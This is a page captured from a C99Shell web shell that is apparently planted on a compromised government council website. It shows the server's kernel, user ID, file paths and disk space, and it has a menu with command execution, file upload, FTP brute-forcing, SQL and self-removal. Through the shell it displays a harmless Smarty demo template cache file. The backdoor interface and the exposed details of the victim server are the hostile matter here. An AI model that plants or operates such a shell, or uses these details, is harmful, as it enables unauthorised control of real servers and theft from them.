!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/old.zt-rada.gov.ua/modules-alien/smarty/demo/templates_c/   drwxrwxrwx
Free 117.31 GB of 200.55 GB (58.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     c0360d049dff10f364dfc53ba2cc3958abf6ee6d.file.index.tpl.cache.php (11.85 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php /* Smarty version Smarty3-RC3, created on 2020-12-03 12:59:24
         compiled from "./templates/index.tpl" */ 
?>
<?php 
/*%%SmartyHeaderCode:21271082035fc8c50c6d9184-12713573%%*/if(!defined('SMARTY_DIR')) exit('no direct access allowed');
$_smarty_tpl->decodeProperties(array (
  
'file_dependency' => 
  array (
    
'c0360d049dff10f364dfc53ba2cc3958abf6ee6d' => 
    array (
      
=> './templates/index.tpl',
      
=> 1285016400,
    ),
  ),
  
'nocache_hash' => '21271082035fc8c50c6d9184-12713573',
  
'function' => 
  array (
  ),
  
'has_nocache_code' => true,
)); 
/*/%%SmartyHeaderCode%%*/?>
<?php 
if (!is_callable('smarty_modifier_capitalize')) include '/home/h33678/data/www/old.zt-rada.gov.ua/modules-alien/smarty/libs/plugins/modifier.capitalize.php';
if (!
is_callable('smarty_modifier_date_format')) include '/home/h33678/data/www/old.zt-rada.gov.ua/modules-alien/smarty/libs/plugins/modifier.date_format.php';
if (!
is_callable('smarty_function_html_select_date')) include '/home/h33678/data/www/old.zt-rada.gov.ua/modules-alien/smarty/libs/plugins/function.html_select_date.php';
if (!
is_callable('smarty_function_html_select_time')) include '/home/h33678/data/www/old.zt-rada.gov.ua/modules-alien/smarty/libs/plugins/function.html_select_time.php';
if (!
is_callable('smarty_function_html_options')) include '/home/h33678/data/www/old.zt-rada.gov.ua/modules-alien/smarty/libs/plugins/function.html_options.php';
?><?php echo '/*%%SmartyNocache:21271082035fc8c50c6d9184-12713573%%*/<?php if (!is_callable(\'smarty_modifier_capitalize\')) include \'/home/h33678/data/www/old.zt-rada.gov.ua/modules-alien/smarty/libs/plugins/modifier.capitalize.php\';
if (!is_callable(\'smarty_modifier_date_format\')) include \'/home/h33678/data/www/old.zt-rada.gov.ua/modules-alien/smarty/libs/plugins/modifier.date_format.php\';
if (!is_callable(\'smarty_modifier_upper\')) include \'/home/h33678/data/www/old.zt-rada.gov.ua/modules-alien/smarty/libs/plugins/modifier.upper.php\';
?>/*/%%SmartyNocache:21271082035fc8c50c6d9184-12713573%%*/'
;?>
<?php  $_config 
= new Smarty_Internal_Config("test.conf"$_smarty_tpl->smarty$_smarty_tpl);$_config->loadConfigVars("setup"$_smarty_tpl->smarty); ?>
<?php $_template 
= new Smarty_Internal_Template("header.tpl"$_smarty_tpl->smarty$_smarty_tpl$_smarty_tpl->cache_id$_smarty_tpl->compile_id9999null);
$_template->assign('title','foo'); echo $_template->getRenderedTemplate();?><?php $_template->updateParentVariables(0);?><?php unset($_template);?>

<PRE>

<?php if ($_smarty_tpl->getConfigVariable('bold')){?><b><?php }?>
Title: <?php echo smarty_modifier_capitalize($_smarty_tpl->getConfigVariable('title'));?>

<?php if ($_smarty_tpl->getConfigVariable('bold')){?></b><?php }?>

The current date and time is <?php echo smarty_modifier_date_format(time(),"%Y-%m-%d %H:%M:%S");?>


The value of global assigned variable $SCRIPT_NAME is <?php echo $_smarty_tpl->getVariable('SCRIPT_NAME')->value;?>


Example of accessing server environment variable SERVER_NAME: <?php echo $_SERVER['SERVER_NAME'];?>


The value of {$Name} is <b><?php echo '/*%%SmartyNocache:21271082035fc8c50c6d9184-12713573%%*/<?php echo $_smarty_tpl->getVariable(\'Name\')->value;?>
/*/%%SmartyNocache:21271082035fc8c50c6d9184-12713573%%*/'
;?></b>

variable modifier example of {$Name|upper}

<b><?php echo '/*%%SmartyNocache:21271082035fc8c50c6d9184-12713573%%*/<?php echo smarty_modifier_upper($_smarty_tpl->getVariable(\'Name\')->value);?>
/*/%%SmartyNocache:21271082035fc8c50c6d9184-12713573%%*/'
;?></b>


An example of a section loop:

<?php unset($_smarty_tpl->tpl_vars['smarty']->value['section']['outer']);
$_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['name'] = 'outer';
$_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['loop'] = is_array($_loop=$_smarty_tpl->getVariable('FirstName')->value) ? count($_loop) : max(0, (int)$_loop); unset($_loop);
$_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['show'] = true;
$_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['max'] = $_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['loop'];
$_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['step'] = 1;
$_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['start'] = $_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['step'] > $_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['loop']-1;
if (
$_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['show']) {
    
$_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['total'] = $_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['loop'];
    if (
$_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['total'] == 0)
        
$_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['show'] = false;
} else
    
$_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['total'] = 0;
if (
$_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['show']):

            for (
$_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['index'] = $_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['start'], $_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['iteration'] = 1;
                 
$_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['iteration'] <= $_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['total'];
                 
$_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['index'] += $_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['step'], $_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['iteration']++):
$_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['rownum'] = $_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['iteration'];
$_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['index_prev'] = $_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['index'] - $_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['step'];
$_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['index_next'] = $_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['index'] + $_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['step'];
$_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['first']      = ($_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['iteration'] == 1);
$_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['last']       = ($_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['iteration'] == $_smarty_tpl->tpl_vars['smarty']->value['section']['outer']['total']);
?>
<?php 
if (($_smarty_tpl->getVariable('smarty')->value['section']['outer']['index'] / 2)){?>
    <?php echo $_smarty_tpl->getVariable('smarty')->value['section']['outer']['rownum'];?>
 . <?php echo $_smarty_tpl->getVariable('FirstName')->value[$_smarty_tpl->getVariable('smarty')->value['section']['outer']['index']];?>
 <?php echo $_smarty_tpl->getVariable('LastName')->value[$_smarty_tpl->getVariable('smarty')->value['section']['outer']['index']];?>

<?php }else{ ?>
    <?php echo $_smarty_tpl->getVariable('smarty')->value['section']['outer']['rownum'];?>
 * <?php echo $_smarty_tpl->getVariable('FirstName')->value[$_smarty_tpl->getVariable('smarty')->value['section']['outer']['index']];?>
 <?php echo $_smarty_tpl->getVariable('LastName')->value[$_smarty_tpl->getVariable('smarty')->value['section']['outer']['index']];?>

<?php }?>
<?php 
endfor; else: ?>
    none
<?php endif; ?>

An example of section looped key values:

<?php unset($_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']);
$_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['name'] = 'sec1';
$_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['loop'] = is_array($_loop=$_smarty_tpl->getVariable('contacts')->value) ? count($_loop) : max(0, (int)$_loop); unset($_loop);
$_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['show'] = true;
$_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['max'] = $_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['loop'];
$_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['step'] = 1;
$_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['start'] = $_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['step'] > $_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['loop']-1;
if (
$_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['show']) {
    
$_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['total'] = $_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['loop'];
    if (
$_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['total'] == 0)
        
$_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['show'] = false;
} else
    
$_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['total'] = 0;
if (
$_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['show']):

            for (
$_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['index'] = $_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['start'], $_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['iteration'] = 1;
                 
$_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['iteration'] <= $_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['total'];
                 
$_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['index'] += $_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['step'], $_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['iteration']++):
$_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['rownum'] = $_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['iteration'];
$_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['index_prev'] = $_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['index'] - $_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['step'];
$_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['index_next'] = $_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['index'] + $_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['step'];
$_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['first']      = ($_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['iteration'] == 1);
$_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['last']       = ($_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['iteration'] == $_smarty_tpl->tpl_vars['smarty']->value['section']['sec1']['total']);
?>
    phone: <?php echo $_smarty_tpl->getVariable('contacts')->value[$_smarty_tpl->getVariable('smarty')->value['section']['sec1']['index']]['phone'];?>
<br>
    fax: <?php echo $_smarty_tpl->getVariable('contacts')->value[$_smarty_tpl->getVariable('smarty')->value['section']['sec1']['index']]['fax'];?>
<br>
    cell: <?php echo $_smarty_tpl->getVariable('contacts')->value[$_smarty_tpl->getVariable('smarty')->value['section']['sec1']['index']]['cell'];?>
<br>
<?php endfor; endif; ?>
<p>

testing strip tags
<table border=0><tr><td><A HREF="<?php echo $_smarty_tpl->getVariable('SCRIPT_NAME')->value;?>
"><font color="red">This is a  test     </font></A></td></tr></table>

</PRE>

This is an example of the html_select_date function:

<form>
<?php echo smarty_function_html_select_date(array('start_year'=>1998,'end_year'=>2010),$_smarty_tpl->smarty,$_smarty_tpl);?>

</form>

This is an example of the html_select_time function:

<form>
<?php echo smarty_function_html_select_time(array('use_24_hours'=>false),$_smarty_tpl->smarty,$_smarty_tpl);?>

</form>

This is an example of the html_options function:

<form>
<select name=states>
<?php echo smarty_function_html_options(array('values'=>$_smarty_tpl->getVariable('option_values')->value,'selected'=>$_smarty_tpl->getVariable('option_selected')->value,'output'=>$_smarty_tpl->getVariable('option_output')->value),$_smarty_tpl->smarty,$_smarty_tpl);?>

</select>
</form>

<?php $_template = new Smarty_Internal_Template("footer.tpl"$_smarty_tpl->smarty$_smarty_tpl$_smarty_tpl->cache_id$_smarty_tpl->compile_id9999null);
 echo 
$_template->getRenderedTemplate();?><?php $_template->updateParentVariables(0);?><?php unset($_template);?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0436 ]--